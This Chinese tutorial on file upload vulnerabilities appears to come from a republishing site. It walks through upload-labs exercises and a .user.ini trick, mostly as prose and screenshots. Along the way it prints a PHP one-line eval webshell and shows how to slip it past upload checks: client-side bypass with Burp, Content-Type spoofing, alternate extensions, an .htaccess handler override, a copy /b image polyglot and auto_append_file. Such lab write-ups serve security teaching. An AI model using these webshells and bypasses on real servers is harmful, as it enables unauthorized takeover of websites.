WEB入门——文件上传漏洞

news2024/12/25 21:44:36
文件上传漏洞
  • 一、文件上传漏洞
    • 1.1常见的WebShell有哪些?
    • 1.2 一句话木马演示
    • 1.2 文件上传漏洞可以利用需满足三个条件
    • 1.3 文件上传导致的危害
  • 二、常用工具
    • 2.1 搭建upload-labs环境
    • 2.2 工具准备
  • 三、文件上传绕过
    • 3.1 客户端绕过
      • 3.1.1 实战练习 :upload-labs/Pass-01/
    • 3.2 服务器端文件类型检查
      • 3.2.1 实战练习 :upload-labs/Pass-02/
    • 3.3 文件后缀绕过
      • 3.3.1 只限制了少量后缀情况
      • 3.3.2 实战练习 :upload-labs/Pass-03/
      • 3.3.3 大量的文件后缀被限制
      • 3.3.4 实战练习 :upload-labs/Pass-04/
    • 3.4 图片马绕过
      • 3.4.1 实战练习 :upload-labs/Pass-14/
    • 3.5 .user.ini 绕过
      • 3.5.1 练习
      • 3.5.2 当服务器对.user.ini内容检测时

一、文件上传漏洞

文件上传漏洞服务端代码未对客户端上传的文件进行严格的验证,导致漏洞。非法用户可以利用上传的恶意文件控制整个网站,这个恶意文件被称为 WebShell ,也可以称为一种网页后门。

1.1常见的WebShell有哪些?

  • 拥有较完整功能的webshell,我们一般称为大马。
  • 功能简易的webshell称为小马。
  • 除此之外还存在一句话木马、菜刀马、脱库马等等的名词,是对于webShell功能或者特性的简称。

1.2 一句话木马演示

<?php eval(%_POST['data']);?> #一句话源代码
  • 将上面代码保持为hello.php并将他放在下面目录中:
    在这里插入图片描述
  • 使用WebShell管理工具,创建连接并连接它:
    在这里插入图片描述
  • 连接成功后就可以查看服务器目录了。
    在这里插入图片描述

1.2 文件上传漏洞可以利用需满足三个条件

  1. 文件可上传
  2. 上传文件可已被web容器解释执行
  3. .上传路径可知

1.3 文件上传导致的危害

1、上传的文件是web脚本语言,服务器的web容器解释并执行了用户上传的脚本,脚本语言执行。
2、上传文件是Flash的策略文件crossdomain.xml,黑客用以
控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似)。 3、上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行。
4、上传文件是钓鱼图片或者包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。
5、上传文件作为一个入口,溢出服务器的后台处理程序,如图片解析模块。
6、上传一个合法的文本文件,但是其内容是php脚本,通过文件包含使这个文本文件以脚本格式执行。可查看服务器目录,服务器中的文件,执行系统命令、代码等。

二、常用工具

2.1 搭建upload-labs环境

下载:https://github.com/c0ny1/upload-labs

2.2 工具准备

  • 中国蚁剑(AntSword)
  • 哥斯拉

三、文件上传绕过

3.1 客户端绕过

如果客户端JS脚本有加限制(例如上传图片,JS脚本显示了只能上传图片格式,不能上传.php后缀的文件)。

3.1.1 实战练习 :upload-labs/Pass-01/
  • 上传文件源码:

    <?php eval(%_POST['data']);?> 
    

    在这里插入图片描述

  • 直接上传一个一句话木马文件,弹窗提示:该文件不允许上传,请上传.jpg|.png|.gif类型的文件,当前文件类型为:.pHp

  • 查看源码:知道只是在客户端用JS做了过滤限制。

    <script type="text/javascript">
        function checkFile() {
            var file = document.getElementsByName('upload_file')[0].value;
            if (file == null || file == "") {
                alert("请选择要上传的文件!");
                return false;
            }
            //定义允许上传的文件类型
            var allow_ext = ".jpg|.png|.gif";
            //提取上传文件的类型
            var ext_name = file.substring(file.lastIndexOf("."));
            //判断上传文件类型是否允许上传
            if (allow_ext.indexOf(ext_name) == -1) {
                var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
                alert(errMsg);
                return false;
            }
        }
    </script>
    
  • 解决办法:

    • 先将一句话木马文件hello.php修改后缀变成hello.png.。
    • 使用BurpSuite工具拦截上传请求。
    • 将请求里面的hello.png修改成hello.php,然后放行请求。
      在这里插入图片描述
  • 最后上传成功后回显,并可以查看到上传文件的地址。最后使用AntSword工具创建连接,就可以直接访问服务器。
    在这里插入图片描述

3.2 服务器端文件类型检查

服务器在后台对上传文件的Content-Type进行了检查。发现如果不是运行上传范围内的content-Type类型就拒绝上传。

3.2.1 实战练习 :upload-labs/Pass-02/
  • 绕过步骤:
    • 上传hello.php,使用BurpSuite拦截请求。
    • 将请求里面的Content-Type内容进行修改,如image/png、image/jpeg等等。 然后放行
      在这里插入图片描述

3.3 文件后缀绕过

一些WAF对文件后缀进行了限制。

3.3.1 只限制了少量后缀情况

如果.php后缀被限制,可以尝试:.php3、php4、.PHp(修改大小写)、.phtml、.pht等后缀,WebShell的内容一样。
其中.phtml、.pht后缀的内容可以写成这样:

<script language="php"> eval($_POST['data']);</script>
3.3.2 实战练习 :upload-labs/Pass-03/
  • 上传hello.php或hello.pHp提示是不允许上传的类型
    在这里插入图片描述
  • 修改后缀为**.php3**,则上传成功。最后可以使用Antsword这类工具进行连接,登录到服务器端。
    在这里插入图片描述
  • 题目的PHP代码如下:
    在这里插入图片描述
3.3.3 大量的文件后缀被限制
  • 除了限制 ‘.asp’,‘.aspx’,‘.php’,‘.jsp’ 以外 .php3、php4、.PHp(修改大小写)、.phtml、.pht等后缀 也都被限制列。

  • 这个时候如果是apache服务器,可以尝试上传 .htaccess后缀文件。文件内容为:

    <FilesMatch "png">
    setHandler appliaction/x-httpd-php
    </FileMatch>
    
  • 该文件上传后,所在目录中名字包含png的文件将会被当做php代码解析。

3.3.4 实战练习 :upload-labs/Pass-04/
  • 题目源码:

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //收尾去空
    
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件不允许上传!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    
  • 通过源码可以知道后台过滤大量的后缀名。

    • 将WebShell文件修改成后缀为 .png
    • 上传 .htaccess 文件。
  • 上传WebShell文件成功后,将文件地址保存,方便后续AntSword连接。
    在这里插入图片描述

  • 上传 .htaccess 文件

  • 使用AntSword通过WebShell路径连接。
    在这里插入图片描述

3.4 图片马绕过

服务器在后台使用函数来判断上传的文件内容是否为图片。所以如果是WebShell文件仅仅是修改了后缀,可能会被pass掉。所以,我们上传的内容必须得有真实的图片内容。

  • 题目源码:使用getimagesize函数对上传文件的内容进行判断。

    function isImage($filename){
        $types = '.jpeg|.png|.gif';
        if(file_exists($filename)){
            $info = getimagesize($filename);
            $ext = image_type_to_extension($info[2]);
            if(stripos($types,$ext)>=0){
                return $ext;
            }else{
                return false;
            }
        }else{
            return false;
        }
    }
    
  • 解决办法:

    • 将一张正常的图片与WebShell文件合并成一张图片。

    • 使用CMD的copy /b命令进行合并。

      D:文件上传>copy /b hi.png+hello.php hi_hello.png
      hi.png
      hello.pHp
      已复制         1 个文件。
      

在这里插入图片描述

3.4.1 实战练习 :upload-labs/Pass-14/
  • 上传WebShell文件,并把后缀改成 .png 但是内容还是一句话木马,上传失败。
    在这里插入图片描述
  • 上传刚刚合成的hi_hello.png。提示上传成功,并回显了图片。
    在这里插入图片描述
  • 这里上传了图片马,但是服务器过滤了.htaccess文件的上传,为了测试图片马的正常运行,留了文件包含漏洞。利用该漏洞可以查看到图片马正常运行。
    在这里插入图片描述
    在这里插入图片描述

3.5 .user.ini 绕过

自 PHP 5.3.0 起,PHP支持基于每个目录的INI文件配置( .user.ini )。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。

  • 用法:
    .user.ini中两个中的配置就是auto_prepend_fileauto_append_file。这两个配置的意思就是:我们指定一个文件,那么该文件就会被包含在要执行的php文件中(如index.php)。这两个设置的区别:

    • auto_prepend_file是在文件前插入
    • auto_append_file在文件最后插入
  • 语法:`

    auto_append_file=hello.png
    or
    auto_prepend_file=hello.png
    
3.5.1 练习

因为upload-labs默认配置是apache+php 不是CGI/FastCGI方式,所以用phpstudy自己搭建一个简单练习环境。

  • 在根目录下创建upload文件夹,并在文件夹中添加hello.php和.user.ini、hello.png(hello.png内容为一句话木马)

  • hello.php 内容:

    <?php echo "hello";?>
    
  • user.ini 内容:

    auto_append_file=hello.png
    
  • 使用AntSword工具连接测试成功,可以入侵服务器。
    在这里插入图片描述

3.5.2 当服务器对.user.ini内容检测时
  • .user.ini 前面添加以下内容:

    GIF89
    auto_append_file=hello.png
    
  • 或者

    #define width 100
    #define heigh 100
    auto_append_file=hello.png
    

continue…

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2265482.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Android 蓝牙开发-传输数据

概述 传统蓝牙是通过建立REFCCOM sockect来进行通信的&#xff0c;类似于socket通信&#xff0c;一台设备需要开放服务器套接字并处于listen状态&#xff0c;而另一台设备使用服务器的MAC地址发起连接。连接建立后&#xff0c;服务器和客户端就都通过对BluetoothSocket进行读写…

红米Note 9 Pro5G刷小米官方系统

前言 刷机有2种方式&#xff1a;线刷 和 卡刷。 线刷 线刷&#xff1a;需要用电脑刷机工具&#xff0c;例如&#xff1a;XiaoMiFlash.exe&#xff0c;通过电脑和数据线对设备进行刷机。 适用场景&#xff1a; 系统损坏无法开机。恢复官方出厂固件。刷机失败导致软砖、硬砖的…

html + css 淘宝网实战

之前有小伙伴说&#xff0c;淘宝那么牛逼你会写代码&#xff0c;能帮我做一个一样的淘宝网站吗&#xff0c;好呀&#xff0c;看我接下来如何给你做一个淘宝首页。hahh,开个玩笑。。。学习而已。 在进行html css编写之前 先了解下网页的组成和网页元素的尺寸吧 1.网页的组成 …

SOME/IP 协议详解——信息格式

文章目录 1. 头部格式1.1 消息 ID&#xff08;Message ID&#xff09;1.2 长度&#xff08;Length&#xff09;1.3 请求 ID&#xff08;Request ID&#xff09;1.4 协议版本&#xff08;Protocol Version&#xff09;&#xff1a;1.5 接口版本&#xff08;Interface Version&am…

使用QML实现播放器进度条效果

使用QML实现播放进度效果 QML Slider介绍 直接上DEMO如下&#xff1a; Slider {width: 300;height: 20;orientation: Qt.Vertical; //决定slider是横还是竖 默认是HorizontalstepSize: 0.1;value: 0.2;tickmarksEnabled: true; //显示刻度}效果图如下 那么我先改变滑块跟滚轮…

Android——自定义按钮button

项目中经常高频使用按钮&#xff0c;要求&#xff1a;可设置颜色&#xff0c;有圆角且有按下效果的Button 一、自定义按钮button button的代码为 package com.fslihua.clickeffectimport android.annotation.SuppressLint import android.content.Context import android.gra…

【双指针算法】--复写零(Java版)

文章目录 1. 题目2. 题目解析3. 代码 1. 题目 在线oj 给你一个长度固定的整数数组 arr &#xff0c;请你将该数组中出现的每个零都复写一遍&#xff0c;并将其余的元素向右平移。 注意&#xff1a;请不要在超过该数组长度的位置写入元素。请对输入的数组 就地 进行上述修改&a…

联合目标检测与图像分类提升数据不平衡场景下的准确率

联合目标检测与图像分类提升数据不平衡场景下的准确率 在一些数据不平衡的场景下&#xff0c;使用单一的目标检测模型很难达到99%的准确率。为了优化这一问题&#xff0c;适当将其拆解为目标检测模型和图像分类模型的组合&#xff0c;可以更有效地控制最终效果&#xff0c;尤其…

HDR视频技术之十:MPEG 及 VCEG 的 HDR 编码优化

与传统标准动态范围&#xff08; SDR&#xff09;视频相比&#xff0c;高动态范围&#xff08; HDR&#xff09;视频由于比特深度的增加提供了更加丰富的亮区细节和暗区细节。最新的显示技术通过清晰地再现 HDR 视频内容使得为用户提供身临其境的观看体验成为可能。面对目前日益…

LabVIEW声音信号处理系统

开发了一种基于LabVIEW的声音信号处理系统&#xff0c;通过集成的信号采集与分析一体化解决方案&#xff0c;提升电子信息领域教学与研究的质量。系统利用LabVIEW图形化编程环境和硬件如USB数据采集卡及声音传感器&#xff0c;实现了从声音信号的采集到频谱分析的全过程。 项目…

OpenCL(壹):了解OpenCL模型到编写第一个CL内核程序

目录 1.前言 2.简单了解OpenCL 3.为什么要使用OpenCL 4.OpenCL架构 5.OpenCL中的平台模型(Platform Model) 6.OpenCL中的内存模型(Execution Model) 7.OpenCL中的执行模型(Memory Model) 8.OpenCL中的编程模型(Programmin Model) 9.OpenCL中的同步机制 10.编写第一个OpenCL程序…

Flutter组件————Scaffold

Scaffold Scaffold 是一个基础的可视化界面结构组件&#xff0c;它实现了基本的Material Design布局结构。使用 Scaffold 可以快速地搭建起包含应用栏&#xff08;AppBar&#xff09;、内容区域&#xff08;body&#xff09;、抽屉菜单&#xff08;Drawer&#xff09;、底部导…

【数据结构】数据结构整体大纲

数据结构用来干什么的&#xff1f;很简单&#xff0c;存数据用的。 &#xff08;这篇文章仅介绍数据结构的大纲&#xff0c;详细讲解放在后面的每一个章节中&#xff0c;逐个击破&#xff09; 那为什么不直接使用数组、集合来存储呢 ——> 如果有成千上亿条数据呢&#xff…

搭建Elastic search群集

一、实验环境 二、实验步骤 Elasticsearch 是一个分布式、高扩展、高实时的搜索与数据分析引擎Elasticsearch目录文件&#xff1a; /etc/elasticsearch/elasticsearch.yml#配置文件 /etc/elasticsearch/jvm.options#java虚拟机 /etc/init.d/elasticsearch#服务启动脚本 /e…

链原生 Web3 AI 网络 Chainbase 推出 AVS 主网, 拓展 EigenLayer AVS 场景

在 12 月 4 日&#xff0c;链原生的 Web3 AI 数据网络 Chainbase 正式启动了 Chainbase AVS 主网&#xff0c;同时发布了首批 20 个 AVS 节点运营商名单。Chainbase AVS 是 EigenLayer AVS 中首个以数据智能为应用导向的主网 AVS&#xff0c;其采用四层网络架构&#xff0c;其中…

玩转OCR | 探索腾讯云智能结构化识别新境界

&#x1f4dd;个人主页&#x1f339;&#xff1a;Eternity._ &#x1f339;&#x1f339;期待您的关注 &#x1f339;&#x1f339; ❀ 玩转OCR 腾讯云智能结构化识别产品介绍服务应用产品特征行业案例总结 腾讯云智能结构化识别 腾讯云智能结构化OCR产品分为基础版与高级版&am…

生信软件开发2 - 使用PyQt5开发一个简易GUI程序

往期文章&#xff1a; 生信软件开发1 - 设计一个简单的Windwos风格的GUI报告软件 1. 使用PyQt5设计一个计算器主程序 要求PyQt5 > 5.6, calculator.py与MainWindow.py处于同一目录&#xff0c;下载mainwindow-weird.ui和mainwindow.ui资源&#xff0c;运行calculator.py即…

“计算几何”简介

计算几何&#xff08;Computational Geometry&#xff09;简单来说就是用计算机解决几何问题。 Computational指“using or connected with computers使用计算机的&#xff1b;与计算机有关的”&#xff0c;Geometry指“the branch of mathematics that deals with the measur…

TowardsDataScience 博客中文翻译 2018~2024(一百二十三)

TowardsDataScience 博客中文翻译 2018~2024&#xff08;一百二十三&#xff09; 引言 从 2018 年到 2024 年&#xff0c;数据科学的进展超越了许多技术领域的速度。Towards Data Science 博客依然是这个领域的关键平台&#xff0c;记录了从基础工具到前沿技术的多方面发展。…

GitHub 桌面版配置 |可视化界面进行上传到远程仓库 | gitLab 配置【把密码存在本地服务器】

&#x1f947; 版权: 本文由【墨理学AI】原创首发、各位读者大大、敬请查阅、感谢三连 &#x1f389; 声明: 作为全网 AI 领域 干货最多的博主之一&#xff0c;❤️ 不负光阴不负卿 ❤️ 文章目录 桌面版安装包下载clone 仓库操作如下GitLab 配置不再重复输入账户和密码的两个方…